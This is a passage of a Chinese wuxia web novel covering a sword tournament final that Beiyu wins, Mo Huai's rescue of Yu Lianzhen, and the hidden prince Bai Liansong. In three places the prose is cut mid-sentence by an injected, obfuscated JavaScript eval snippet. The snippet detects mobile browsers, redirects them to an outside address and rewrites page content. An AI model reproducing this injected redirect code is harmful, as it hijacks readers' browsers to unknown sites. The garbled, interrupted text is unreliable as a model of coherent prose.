她下意识转身望向外面,远处擂台,胜负已分,云笙弦站在中央,周围少女少男将手中的鲜花香囊抛上台,下雨一样,而他神色淡然,平静接受。 原来星皇特意搭个鸟巢在树上,是为了看她表哥。 星皇洞察人心,微笑道:“仙骨来自天上,星神亦高悬天空,你是我北境之行必定邀请的少年,至于,你的表哥云笙弦……是一个意外惊喜。” 察觉星皇语气的微妙变化,北羽看向星皇。 人终究是人,再好的伪装,真实情绪也会暴露在细枝末节中,南戏霖精于此道,传授过她识人秘诀。 她看得出来,星皇对她的邀请是公事公办,他真正有想法的对象,是云笙弦。 牵扯到亲人,北羽冷静不少,告辞离开。 星皇没有挽留,只是说道:“此番微服私访,天枢城之中唯有海刀夫子知道我来了,北羽,你千万保密,毕竟……” “我懂,我懂。” 星皇的身份过于敏感,影响力辐射整片镜悬大陆,远超寻常帝王,若是因为行踪泄漏,少了一根头发,星宫的百万信徒可不是吃素的。 北羽心情大起大落。 微风裹挟金柳,拂过她的发梢,叶一片的身影消失在金柳叶中,她眯眼寻了一会儿,才在人群中找到他。 他正跟一个玄真道观的青袍道士交谈,北羽依稀听见大师兄、伤势之类的字眼。 青袍道士离开后,她走过去问:“你新交了道士朋友?” “朋友?险些结仇差不多。” 叶一片:“第一天比武的时候,你跟唐引琼打得惊天动地,而我也遇到一个棘手的家伙,差点完蛋。” “怎么回事?” “碰上个玄真道观的人,剑法不错,虚空境界,但跟我的差距有点大,他很不服输,一直缠着我拼了命打,最终,真气耗尽,受了严重内伤。 本来以他的实力可以进学宫百强榜前二十,这么一闹,直接歇菜了,南戏霖跟我去探望过他好几回呢。” 北羽:“听起来是一个倔强的家伙,他叫什么名字?” “佰怜松。” …………… 天枢城,断崖下,河底密洞。 玉怜真行事磨蹭,解毒花了半天,休养又花了半天,叽叽喳喳同莫淮闲聊。 虽然这只是莫淮第二次跟玉怜真见面,却已经知道他三岁被狗咬,十岁被师姐耍,爱吃糯米团,讨厌绿色虫子。 若北羽像玉怜真这样,愿意和他谈这么多话,那就好了。 “莫兄,别光聊我了,也说说你。” 玉怜真对莫淮十分有好感,觉得他有一种与众不同的感觉,是个可靠的人,就像他的佰师兄。 “我?” “对,你喜欢什么,不喜欢什么,或者你跟我骂骂李一白也行。” “……” “我讨厌黑暗,讨厌潮湿阴冷,讨厌血的味道,我喜欢……” 潜意识想要脱口而出的名字,堵在喉咙,莫淮犹豫了一下,“我喜欢……有朋友。” “喜欢有朋友?那就是喜欢交朋友咯!太好了,那我们做朋友吧。” “……好。你感觉如何?如果无碍了,我们动身出洞吧。”算算时间,大约入夜了,他得赶快离开这里,万一北羽今晚去茶馆找他呢。 “没问题。”玉怜真站起来,拍掉衣服上的土。 莫淮随便扫了一眼,道:“你腰间有东西发光。” “啊?” 玉怜真看向挂在腰间的玉葫芦,一闪一闪的,像装满萤火虫。 “太好了!我师兄找来了!他肯定收到了我的千机鹤。” 玉怜真激动地拉着莫淮跳进洞中湖,游到了外面河水,待二人冒出水面,只见四周岩壁布满火把,蔓延至远处河道,犹如一条长长火龙,很快,有眼尖的人发现他们。 “在这里!人在这里!” 几个人扔下绳子,将他们拉上岸,沿岸搜寻的其他人也朝这边聚拢。 莫淮见这群人衣着统一,干练利落,不像道士,玉怜真也一副迷茫的样子,问他们是谁。 “我等皆是奉命行事。”领头人抱拳欠身道,“玉道长可有受伤。” “有,不过……还好了。” “怜真!” 一道沉稳男声传来。 玉怜真唰地转身,蹦起来挥手,“师兄!师兄!” 莫淮望过去,一个男子在众人簇拥下走来,少年的年纪,气质却稳重大方,龙章凤姿,玉质金相,行走之间,竟有威仪之态。 这是一个完美的人,至少表面上看起来是,令莫淮想起另一个人,北羽的好朋友玄北离,那也是一个完美的人,甚至外貌更加出众。 “怜真,出了什么事?你为何掉下悬崖?”男子言语间透露着浓浓的关怀。 “师兄,我被一个叫陈岭鹭的坏蛋追杀,他扬言要剥我皮、抽我筋,砍掉我的手脚,吓死我了!幸好,这位莫淮兄挺身而出,舍命救我。” 玉怜真兴致勃勃地介绍莫淮,男子却没有心情听,脸色瞬间变了,“此人竟恶毒至此。” “对啊!我只是在试剑大会打赢了他,他就恼羞成怒喊打喊杀。” “师兄记下了,会为你报仇的。” 玉怜真摆手道:“算了吧,他好像是什么世家子弟,挺 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17491612|202258||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有来头的,反正我也没什么大碍。” 男子叹息一声,“怜真,你总是这般善良。” 他看向莫淮,“这位莫淮兄,在下佰怜松,多谢你救了我的师弟,此等恩情,佰某铭记于心。” 莫淮撇了他一眼,没有回应。 站在一旁的侍从不满意了,“喂!我家公子跟你说话呢。” “不可无礼。”佰怜松道,随后咳嗽几声,玉怜真赶紧扶住他,“师兄,你伤势没好全,干嘛亲自来找我,叫其他师兄来即可。” 佰怜松:“我一向把你当亲弟弟,你彻夜未归,我怎能不忧心。大家都特别担心你,尤其是师叔,你先回钦天监吧。至于莫兄弟,恕我有伤在身不能远送,请问莫兄弟家住何处,来日我好登门拜访,报答你的恩情。” 莫淮神色淡淡:“你师弟曾经救过我,所以,不用报答。麻烦借我匹马,我赶着回家。” “好,来人,带师弟跟莫兄弟上去,把最快的一匹马赠与莫兄弟。” 莫淮打量岩壁,垂下的数条交错铁链,一个带围栏的铁台子成为通行工具,短短一日就造出直下悬崖的机关,并召集上百人沿河搜寻。 玉怜真的佰师兄,显然不是一个普通人。 夜风徐徐。 领头侍卫拿来一件狐腋披风,佰怜松笑道:“不至于吧。” “公子伤势未愈,今夜又格外凉,如果邪风侵体,落下病根就糟了。” 佰怜松:“唉,我不该一时意气用事,自不量力,跟那位叶兄拼命。这下可好,既不能跟四海八方的少年高手过招,又被找到理由,强行留在天枢城。 白日你说那边传了话过来,是什么话呀。” 领头侍卫斟酌道:“后日是试剑大会的最后一天,学宫百强榜榜首将在最后一场比武中诞生,各国使臣皆会到场,那边……想请您去露个面。” “露面?” 佰怜松轻笑,“这样出头露脸的事情,还是交给三哥去做吧。” “可是……那位亲自开口,近乎恳求,公子您真的不去?您不是一直想见仙骨北羽,看一看传说中的仙剑术吗,何不趁此机会,既见了北羽,又顾全那位的脸面。” “……不去。你去告诉那边,等我伤养好,会进宫一趟,在此之前,莫要派人烦我。” 领头侍卫大喜过望,单膝下跪,行礼道:“殿下,您终于肯进宫见陛下了!” 佰怜松闭上眼,“娘的祭日快到了,我不想进宫,也得进宫。” “殿下!”领头侍卫忍不住道:“您贵为嫡子,又屡立战功,在军中深得人心,继承大统乃天经地义。但您总是离宫在外,疏远陛下,万一,哪天陛下改了主意,皇位落在大公主或灵王手中,我们这些一心一意追随殿下的人,该何去何从呢?” “够了,别说了,去办件事。” “殿下请讲。” “找到陈岭鹭这个人,安个罪名带去刑部,他想怎样对怜真,就怎样对他。” “臣遵命。” 佰怜松,不,应该是北境八皇子慕容楚轩,转身望着奔腾河流,微微叹息,难道这个皇位,他必须去接吗? 真如父皇所愿,做了皇帝,九泉之下的娘亲将怎样看待他呢。 慕容楚轩苦笑一声,踏入茫茫夜色。 16. 卷一·学宫试剑 一进十斋,北羽闻见十分诱人的香味,院子里,叶一片正跟云笙弦下棋,玄北离则在给他的琴调音。 “北羽,来玩吗?” 云笙弦招呼她,他们下的棋非寻常玩法,而是南戏霖为了照顾不懂棋艺的叶一片,研究的新棋法,上手容易,可以五个人一起玩。 纵然是新玩法,比起在黑色白色的小粒子上费脑筋,北羽更喜欢看话本,去茶馆听书,有时候兴致来了,就与玄北离弹琴。 师父白发剑圣酷爱琴道,幼时起就教她弹琴,将古琴之音称为天地共鸣之声。 玄北离的琴艺,则是他母亲朝阳郡主所授,当年朝阳郡主琴音一绝,堪称国手。 一个绝俗仙乐,一个北境国手,二者教出来的北羽和玄北离在弹奏琴曲上,颇为契合。 而南戏霖天生聪慧,跟海刀夫子学棋,青出于蓝而胜于蓝,云笙弦内秀于心,小时候随义祖父学棋,也是一手精湛棋技。 他俩能下一天一夜的棋,还说他们下的不是棋,而是借棋交谈,神交。 叶一片十分向往这种双双成对的消遣,最终在南戏霖努力下,加入棋盘。 “北羽,谁给你寄了包裹?”玄北离问。 “我娘。”她拎着包袱往自己屋里走,“我的琴也该调音,帮我调一下。” “好。” 放下包袱,北羽去了厨房。 厨房里香味弥漫,南戏霖坐在矮凳上烧火,她掀开一旁的砂锅,里面窝着只鲜嫩鸭子。 鸭子汤是南戏霖的拿手好菜,她忍不住摸向汤勺,南戏霖抬头:“火候没到,禁止吃独食!” 北羽撇撇嘴,蹲下去拿起一封信,“又用别人的情书烧饭啊。” “你第一次吃我用情书烧的菜吗?倘若我不把它们烧掉,十斋早被信封堆满,无处落脚了。” “反正谁也不会去看里面写了什么,我用它们做饭,饭好歹进了写信人喜欢的人肚子里。” 她指着三叠情书:“全是我哥的?” “最厚的那叠是云笙弦的,其次是北离,再其次是叶一片。差不多都是住在外宫,参加试剑大会的人递的,有意思的是,好多人一口气写三封,一起压到门边。” 南戏霖随手抓了一把,扔进灶台。 这些信,大部分是见色起意的一时兴起,他烧起来毫无负担,真正喜欢鼓起勇气表达爱意的那部分信,他稍微觉得可惜,都存在一个大木箱子里。 “为什么没有人给我写信,明明我以前也经常收情书。”北羽有些不服。 “您老一招白马吟,吓破多少人胆啊,哪还敢写情书。”南戏霖拿起一根黄瓜,咬下去脆生生,清嫩。 他道:“明天上午你的对手是南境韩霸天,战神韩誉年的侄子,虽然他实力一般,但毕竟代表南境,你多跟他打一会,过个二十招,给足面子。 下午对手是盼灵,你未来的表嫂,怎么打你看着办。” 北羽拉长脸。 在她师父嘴里,在海刀夫子嘴里,即便学宫已经沦为慕容皇室的臣下,被掠去过往的光辉,但试剑大会一出,万国来贺,天下少年风采尽览,比武列百强,荣定来日绝世高手,是每一个习武者一生中所期盼的扬名世间的大好时机。 谁知,这一场天下少年期待已久的盛会,顾完这头顾那头,根本没意思。 她满脸写着无趣无聊,南戏霖见此情景道:“这一次试剑大会确实缺席了一些重要的人,导致百强榜前十有点水分,可它依然盛大。” “天枢城大大小小的客栈爆满,百姓们甚至把自家多余的空屋租出去,郊外也立满棚子,有些东海的旅人,攒了许久钱,赶了一年路,就想在最后一刻看一眼学宫第一的风姿。 北羽,后天你跟叶一片在皇家演武场进行的最后一场比武,将万人空巷,万众瞩目。” “真的吗?” “我骗你作甚,演武场的入场帖,已经炒到天价了,黄金一箱一箱往学宫搬。” 北羽半信半疑。 试剑大会举办到现在,她除了闯祸,被流言追着骂,就是被动接受一众畏惧或估量的目光眼神,尚未得到过鲜花掌声。 厨房里鸭子汤的味道越来越浓,北羽忍不了走出去,夜幕低垂,星辰漫天,她坐到玄北离身旁,拿过琴,随手弹了起来。 琴音清澈,宛如一条小溪绕过蜿蜒山路,随后拐进幽深峡谷,突添森然。 玄北离挑动半透明的弦,两道琴声此起彼伏,时而相交,时而分离,最后抛成一条游丝,直上云霄。 一句汤好了,打断弹琴的,下棋的。 五个人围在石桌,喝着暖乎乎,鲜掉眉毛的鸭子汤。 两碗汤下肚,北羽忽然记起来一个人。 一个站在阳光下,同她蹲在地上摸过小鸭子的人。 她好像很久没有见过他了。 “南戏霖,你手里应该有后天演武场的入场帖吧?” “有啊。” “给我张。” “干嘛啊,那玩意可贵了,学宫财库纯指望靠它进大帐,每一张都登记在册呢。” “少废话,你给不给。” 土匪,南戏霖朝后一指,“在我屋里书案上第三本书夹着,拿吧,但别拿太多。” 北羽拿了帖子往兜里一揣,跑出了院子。 …………… 坐铁台离开悬崖的时间,比莫淮预想的更快,夜色也比他估计的更深。 莫淮怕自己笨拙的马术耽误回茶馆,于是,那群人派了一个骑艺出众的同伴送他,还塞了一兜子钱。 月色朦胧。 戌时末,莫淮站在茶馆门口,想起身上衣服被水泡了又泡,想换身新衣再回后院时,才发现那兜沉甸甸的钱,是黄金。 莫淮不想花这些钱,因为他不是为了回报去救玉怜真。 但他又真的没钱。 于是,他用了最小的一块金子,换了一堆碎银铜币,将剩下的金子埋在茶馆后院的树下,等来日归还玉怜真。 北羽喜欢浅色,他就买了一件白色新衣,去了最近的澡堂。 等再回茶馆后院时,他一直等的人已经在那了。 宝珠围着北羽,一口一个曲姐姐,看见莫淮来,她撅着嘴,依依不舍地跑开。 “你来了。” “嗯。买新衣服了?” 莫淮下意识扯了扯衣袖,害怕有不得体的地方,北羽递给他一个帖子,“衣服挺好看的,我喜欢袖子上的祥云刺绣。后天在玄武东街附近的演武场,要举办试剑大会的最后一场比武,记得来看我。” “这个演武场是慕容皇室建的,特别大,到时候估摸有上万人到场,你把帖子给门卫看,有专人领你进场。” 莫淮真心实意道:“我相信,你一定会赢的。” 北羽笑了,“当然!” “我还有事,先走了。等试剑大会结束,我会去找许先生喝酒,要是你在学业上偷懒,我会知道的。” 说完,她一阵风似的飘走了。 来的路上,北羽想过如何解释长达半个月的消失,但最终只字未提。 也许是因为,莫淮反应很平静,并且赚钱买了新衣服,看起来有了自己的生活。 这多好啊。 一个把人生寄托在别人身上的人,不会有舒坦日子过的。 北羽希望,她只是莫淮生命中比较特殊的一名过客,毕竟,她对他的帮助,只会停留在朋友能做到的地步。 而她和他能做多久的朋友,就听天由命吧。 少女的背影,隐入夜色。 北羽在不凡茶馆后院,只待了片刻。 为了这片刻,莫淮等待了十五天。 他不会像宝珠嘴里的小乞丐那样自负,他的一生中有许多个十五天,可以用来等待北羽。 烫金的请帖,在月光下微微发光。 莫淮情不自禁地笑了。 ……………… 第二天。 金柳依依,人头攒动。 北羽站在擂台上,看着一步步走上台的……少年? 韩霸天身长九尺,筋肉贲张,肩宽体阔,简直是长腿的小山。 都参加试剑大会了,韩霸天肯定不超过二十岁,不过,他看起来长得有点着急,更有点庞大。 北羽下意识退了一小步。 台下的南戏霖仰头对她说:“记得多打一会。” 她道:“我感觉这个人刀枪不入。” “夸张了。”南戏霖道,“韩霸天自十二岁起,便随叔父韩誉年四处征战,年纪轻轻,就战功累累,是南境有名的常胜将军,可称一句天生将才。” “听闻他在战场上有一个外号,叫作黑阎煞,因为他常穿一身玄铁黑甲,手持长枪冲刺作战。” “?” “这些话,你不早说!” “怕什么,你跟他比的是武功剑术,又不是沙场厮杀。你稳赢的!” 南戏霖攥紧双拳举起,为她鼓气。 ……. 对,她稳赢的,虽然韩霸天的拳头比她脸大,但她和他又不是肉搏。 韩霸天抱拳行礼:“南境韩霸天。” “北境,北羽。”北羽以礼回之,“请出剑吧。” 韩霸天深吸一口气,拔出背后巨剑,北羽眼皮跳了一下。 这是剑?这是铁条吧!接一招,震麻骨头,接两招骨裂,接三招……她突然走神,韩霸天以为是看不起他,当即出招,掀起一阵狂风。 雄霸真气,浑厚有力,北羽连挥三剑,四两拨千斤,化解他的内力。 韩霸天一愣,举剑横劈,北羽暗笑,拿剑当刀使啊,那还用什么剑,去耍刀算了。 不过,她很快发现,韩霸天看似鲁莽,轻功步法却蛮好,打不中她,却能紧跟在她身后,要知道她练的霞雀,可是天下第一轻功。 “轻功不赖!”她夸赞道。 “我师妹自创的!”韩霸天道。 擦身而过的瞬间,他倏地从巨剑剑柄处,抽出一把细长软剑,弯如丝绸,缠上北羽的腰身,北羽一惊,腾空旋转,堪堪躲过。 她想拉开距离,反被韩霸天拽住脚腕。 重剑劈下,软剑缠行,双面夹击。 台下众人齐齐惊呼,南戏霖大吃一惊,这是韩霸天参会以来,第一次展示双手剑法,任谁也想不到,猛兽般蓄势待发的精壮汉子,会使软剑。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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北羽转身望去,星宫专属的一片耀眼金白色来到,大众默契为他们让开一条路。 前后二十个星宫教徒为盼灵开路,她每踏一步,就有专人放置白毛软垫,绣着星纹的鞋底,不曾沾染一粒灰尘。 盼灵容色绝丽,褐发及腰,精灵一般,在场人多看两眼都觉得亵渎。 “盼灵侍奉,你来早了。”学宫裁判道。 “我有话要说。”盼灵淡淡道。 裁判摸不着头脑:“请讲。” “我,放弃下一场比武。” 空灵嗓音轻轻落下,全场哗然,盼灵没有作出解释,朝北羽微微颔首,弯了弯唇角,转身离去,不带走一片云彩。 “啊……这……”学宫裁判愣住,下意识去看南戏霖,南戏霖翻上台子,跟他说:“沈老师,既然盼灵弃权,就当北羽不战而胜。” 裁判点点头,敲响金锣,高声宣布:“韩霸天对北羽,北羽胜!” “盼灵对北羽,北羽胜!今日战绝,封擂!” 北羽拉着南戏霖,一脸懵:“盼灵为什么要放弃比武。” “我也不知道,或许是因为笙弦?” 日落。 天色暗白,泛着青霜。 刚回到十斋的云笙弦被团团围住,北羽几人都十分好奇,盼灵弃武的原因。 “没什么特别的理由。盼灵觉得她不是你的对手,你又是我的妹妹,何必再去一战,直接不比,省心省力。” “就这?我还挺想见识星宫的武学。”北羽说不出的遗憾,叶一片拍拍她,“你还是等着明天见识我的武功吧!” “那我期待哦。” 北羽眨眨眼,跑回屋子,将门一关,倒在床上拆昨日收到的包袱。 一如既往的首饰盒,衣裳,帕子,以及一封信,她娘颂莲紫十年如一日只会送这些东西。 拆开信,娟秀的小字规矩排列,关心她的身体,解释为什么不去天枢城看她,嘱咐她好好听海刀夫子的话,最后替她父亲挽尊。 从来都是这样的。 几句关心话,从解释为什么不来圣剑山,到不来天枢城,从听师父的话,到听夫子的话,偶尔过年回去,摸着她的脸,掉几滴眼泪,讲几句体己话。这就是颂莲紫对她这个独女全部的关怀。 真寡淡。 北羽把信一丢,拿起衣裳,鹅黄湖蓝相间的长裙,衬得铜镜中她雪白的脸蛋,莹润剔透,一针一线绣成的银蝶穿花丛图精美无比。 唉,她娘再不济也比她爹强。 娘亲,跟娘亲,十月怀胎生下来的孩子,母亲无论如何也会挂念,北慕染这个做父亲的,是彻底无视她。 试剑大会最后一场比武,于她而言,于北境而言,于天下而言,都意义非凡,但她娘不来,师父不来,她最重要的两个人都不来。 幸好,她还有朋友。 最重要的是,她有自己。 人嘛,独活一世,最重要的就是对得起自己。 我一定要对得起自己,北羽默默想道,既然参加了试剑大会就一定要赢。 17. 卷一·学宫试剑 天蓝如海,云涌似浪。 临近正午,皇家演武场已是座无虚席,四面环绕的一圈圈座席上,北境、南境、东海、西海各国江湖宗派的子弟占据多数,这一场空前绝后的盛会尾端,习武的江湖中人,可比各国贵族更容易入场。 远道而来的西海商人们是镜悬大陆最爱凑热闹的一群人,他们同天枢城的豪族世家,其余各国的贵族们,买得起黄金价位的入场帖。 场内真正聚集了三教九流的人物。 正对场中央的观战台上,海刀夫子端坐主位,今日是学宫主场,哪怕最爱出风头的星宫,也只派出盼灵、沈傲枝,乖巧坐在他的左手边。 与无极宫的九宫主伍行烈紧挨着的,是大病初愈的唐引琼,他的脸色依旧苍白,眼睛倒有神,因为他终于可以再见到北羽了。 捡漏打进百强榜前十的无极宫弟子林盏盏,是个年仅十三岁的少年,小小一个坐在唐引琼身边,一张娃娃脸,稚气十足。 南境战神韩誉年仍然一副文人风范,他的两个侄子,韩霸天和韩飞鸿正为北羽和辰雪雪谁更强争执不休。 比起莽汉似的韩霸天,韩飞鸿英武俊美,背着弓箭,一身劲装,他是个弓箭手,也是南境军中排得上号的存在。 跟南戏霖坐在一起的云笙弦面覆薄纱,瞥了眼左边紧绷绷的李传芳,颇为无语。 南戏霖细声道:“抱歉了兄弟,人家来者是客,他非要挨着你坐,我也没办法。” “闭嘴吧。”云笙弦道,“你肯定收了他钱。” 南戏霖讪讪一笑。 玄北离:“诶?血凰剑圣怎么也来了,夫子不是很讨厌他吗。” 凰允念与宣德太监并肩而坐,北境六剑圣,只有他们到场。 南戏霖解释道:“我老爹作为学宫之主,可以不许血凰剑圣入学宫,但这次比武地点是皇室地盘,凰允念要来观战,他没法拒绝。” 离擂台最近的一圈席位,莫淮坐在其中,等待北羽出场,他意外发现了跟玄真道观的道士们坐在一起的玉怜真。 佰怜松也在其中,穿着道士服。 沉重铁门缓缓开启,顷刻间,场内安静下来。 风吹起鹅黄轻纱,湖蓝色的绣纹闪烁着美丽的光泽,北羽穿着新衣,手握残仙,银色剑柄上菱形蓝宝石冰冷折射日光,映在她的侧脸,长长的睫羽投下阴影。 叶一片则是张扬惹眼的一身鲜红,俊美如雕像,手中的火神云剑感应到残仙,微微颤抖,迫不及待出鞘一战。 天才战天才,名剑对名剑,看着二人登上擂台,海刀夫子满意起身。 虽然这一届试剑大会少了几个人,但争夺榜一的两个少年全都是学宫的弟子,榜前十中,学宫弟子占据四名,何尝不是光耀门楣。 海刀夫子正欲开口,突然,一道尖细声音传来,“陛下驾到!” 长鸣声起,印着慕容皇室图腾的旗帜随风鼓舞,銮驾入场,在场的北境世家、朝廷官员纷纷行大礼,主台上诸人也起身,宣德太监下台迎銮驾。 学宫之中除了海刀夫子行臣子礼,其余人未动,昔年学宫归顺慕容皇室之时,有过约定,凡学宫之人,面圣皆可免礼。 其他各国的使臣,行了节礼。 宣德太监搀扶轩宸帝下驾,“陛下,您怎么来了?” 轩宸帝环顾周围,笑道:“半个时辰前,朕忽然想到,若是错过这一届试剑大会,恐怕再也无缘得见这一场独属天下少年的盛会了,所以,就来了。” 海刀夫子让人添了座椅,轩宸帝与他并肩坐下,“闻听此次试剑大会,学宫弟子大放异彩,百强榜前十竟有一半被咱们北境少年拿下。” “陛下别取笑我了,您是知道我的帖子发出去一个又一个,却无一人前来。” 轩宸帝笑了笑,看向一旁的宣德太监,“宣德你回去坐吧。” “奴才不敢。” 宣德太监恭敬垂眸。 好歹也是北境六位剑圣之一,当着这么多使臣的面,让宣德从头站到尾,海刀夫子可丢不起这个脸,赶紧让人找了一个小一圈的椅子,摆在轩宸帝后面。 皇帝点头后坐下,宣德才坐下,韩誉年跟伍行烈见到此幕,心怀各异。 安顿好皇帝,海刀夫子宣布试剑大会最后一次比武开始。 擂台上,被上万双眼睛盯着的北羽和叶一片,各自拔出了剑。 云霄色变。 橘红色霞彩弥漫,仙乐飘飘,剑气已现,环绕腾飞在北羽周围。 伍行烈赞叹:“戛玉敲冰,鸾吟凤唱,这就是仙乐吗,剑势未出,先闻其声,真叫我开了眼界。血凰剑圣,听说半月前北羽跟您对过剑,那时的仙乐,也如今日这般动听吗?” 凰允念看着北羽,道:“她又进步了,现在已经摸到羽化境的门槛,后生可畏。” 唐引琼忍不住缩了缩身子,他喜欢北羽,但对北羽的剑确实生出畏惧。 火神云剑染红半边天,叶一片的眸中浮现赤色,身遭犹如大火燃烧,热浪滚滚。 轩宸帝好奇问宣德太监,“红衣少年使的何种武功?” 宣德太监:“禀陛下,此乃火晟宗的神功,名赤焰,威力巨大,潜力无穷,趋近魔功,因为有名剑火神云分担一部分内力,所以,施起功来不会真的走火入魔。” “当年东海魔祸,火晟宗覆灭,只有一个弟子带着名剑逃出,后来,他入境羽化,自称火晟老人云游天下,十二年前,收了这个叫叶一片的少年做唯一的徒弟。” 轩宸帝:“如此看来,叶一片的天赋不错咯?” 宣德点头,“堪称绝佳。奴才观他功力,离羽化境仅有一线之隔,十六岁能修到如此境界,世所罕见。” “叶一片,原来你都这么强了。”北羽有些惊讶。 “如果不够强,哪来的信心跟你比呢!”叶一片笑着说。 二人剑气于暗中交锋,残仙剑和火神云剑兴奋到战栗。 北羽:“那咱们也别整虚的了,速战速决,结束了还能去喝盏酒!” 叶一片:“正有此意!” 两个人从小玩到大,平日一起练功,熟知对方的身法内力,确实没必要再切磋。 北羽纵身一跃:“太上忘情剑法第一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17491614|202258||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 式,银龙啸!” 万千剑气直上云霄,狂卷白云成龙,剑鸣之声碎入云龙,化作咆哮。 叶一片静心凝神,赤焰内力顺着火神云剑肆意流淌,一圈一圈绕成火柱,劈开天际。 “一剑火中生,火中见神烈。云飞意气扬,天下起赤焰。三百年火晟宗,只为悟此一剑,麒麟踏火!” 麒麟从火柱中踏出,云龙自天上冲下,交战之时,剑气破空,声声绝响。 在场人屏住呼吸,两股强大剑气交锋下,北羽和叶一片的身影模糊不可见,只有极少数眼力过人的高境界者,能看清他们。 莫淮握拳,清楚看见剑气之内,北羽目光如炬,残仙抵住火神云,叶一片发丝飞扬,右肩衣料悄无声息开裂。 莫淮松了口气。 下一刻,缠斗的剑气分离,剑势分开,一波波震向天空。 红色衣料碎片,静静落地。 叶一片右肩衣服开裂,墨发轻晃,一枚胎记闪现,一直关注擂台的宣德太监,不可置信瞪大眼。 轩宸帝望向北羽嘴角的血迹,问道:“谁赢了?” 宣德猛地回神,表情平静下来,“……北羽。” 他话音落下的瞬间,叶一片支撑不住似的,身子一歪。 北羽扶住他。 高下立见,胜负已分。 全场沸腾,将手中的鲜花锦帕砸向擂台,纷纷扬扬,宛如花海倾倒,尖叫声此起彼伏,都在高呼北羽的名字。 “这么快就结束了?”轩宸帝略微不解,“跟朕曾经见过的对决相比有些短。” 海刀夫子:“陛下有所不知,叶一片跟北羽是多年朋友,熟悉彼此,他们比试不需要用花里胡哨的招式,打得眼花缭乱,再者,高手过招,生死一瞬,这些时间也足够了。” 高手决生死,就在眨眼间,分高下也在刹那。 北羽捏住叶一片衣服上的缝,不太好意思,到底是火晟老人花重金定的衣裳,“我回头帮你补。” 叶一片笑了声,“你补?缝条蜈蚣上去吗。我自个找个裁缝就行。不过,你怎么这么强呢。” 他捂住骨折的右肩,原以为他跟北羽顶多一线之隔,却不想足有半步之遥。 “七分天注定,三分靠努力呗。” 北羽看着脚边堆积的鲜花,耳边听着场内欢呼,上万人为她振臂高挥,的确是她十几年来,最风光得意的时刻了。 她不由咧开嘴。 海刀夫子把二人领到台上,高声宣布:“此次试剑大会第一名,北羽!” 他高举起北羽的胳膊。 乐队奏乐,南戏霖揭开遮住百强榜的金布,排名一览无余,前十的名字用朱砂描画。 北羽,叶一片,盼灵,净颜,韩霸天,云笙弦,李传芳,韩飞鸿,玄北离,林盏盏。 无论缺席试剑大会的那几位少年,究竟有多优秀,终究无法上榜,无论他们有多强,终究要矮北羽一头。 即刻起,北羽的名字将再次传遍镜悬大陆角角落落,各国各地,都将知道天下第一少年是北羽,是一位生来仙骨,握住残仙剑的少女。 18. 卷一·学宫试剑 一炷香前,就在北羽和叶一片沉浸在期待已久的对决中时,一匹白马载着一位少年,乘风而来。 白马跨过天枢城古老陈旧的城门,穿过巍峨壮观的城墙,少年乌黑浓密的长发,高高竖起,飘逸空中,一闪而过的身姿面容,惊艳了无数路人。 一人一马一剑,疾风骤雨般,刮至皇家演武场的门口,守门人连忙挥手,想制止他入内,同伴却看清了少年腰间别着的黄金请帖,惊讶揉了揉眼,赶紧道:“快开门!来了,他来了!” “谁来了?他是谁?” “海刀夫子等的人!” 演武场内,北羽笑容满脸,享受万众瞩目的崇拜,完全没有注意到天空中绽开一朵金色烟花,海刀夫子眼睛眯成缝,“喂,北羽,我问你一个问题。假如,我是说假如,现在突然来一个人抢你风头,你会不会气炸了。” 北羽开心挥舞胳膊,回应场内,“谁能抢走我的风头,我可是试剑大会的第一,百强榜榜首,除非那个人能打过我!” “那他真打过你,你会怎样?” 北羽怔住,看向海刀夫子,旁边的叶一片以为在开玩笑,随口道:“要是现在真的来个人,打败了北羽,她一定会气死!哈哈哈!这怎么可能,天下怎会有能胜过她的少年!” “唉,这可说不准。” 随着海刀夫子的叹息,紧闭的演武场内门再度开启,长鸣角乐声响起,场内安静下来,观众频频探头看去,一个白衣少年正骑着白马,潇洒且悠闲地踏入。 面对来自四面八方,成千上万人的目光,他神色自若,眼睛是那样的亮,嘴角扬起的弧度,是那样的不羁,仿佛普天之下,没有一个能让他在意的人或事。 他一直骑马来到观战台前,面对台上一堆王侯将相的审视,他拿出腰间的黄金请贴,笑道:“北境逍遥城江吟歌,前来应邀参加试剑大会。” 说完,他将请帖甩给海刀夫子。 全场静默。 江吟歌,这个名字所有人都或多或少听过一些。 北境地广人多,主要有七座大城,以北斗七星命名,其中天枢城是皇都,天权城是最富饶的地方,摇光城因为避讳,改名玉瑶城,逍遥城就是玉瑶城下的一座附属城池,除了名字动听一些,平平无奇。 然而,一个人的诞生,使逍遥城扬名天下。 那个人就是江吟歌,一个出生在逍遥城阴暗角落的孤儿。 他的双亲是谁,是何身份,无人知晓。 据传,他由一个老乞丐养到七岁,老乞丐病死后,他流浪街头,拿着根木棍到处晃,一晃就是十年。 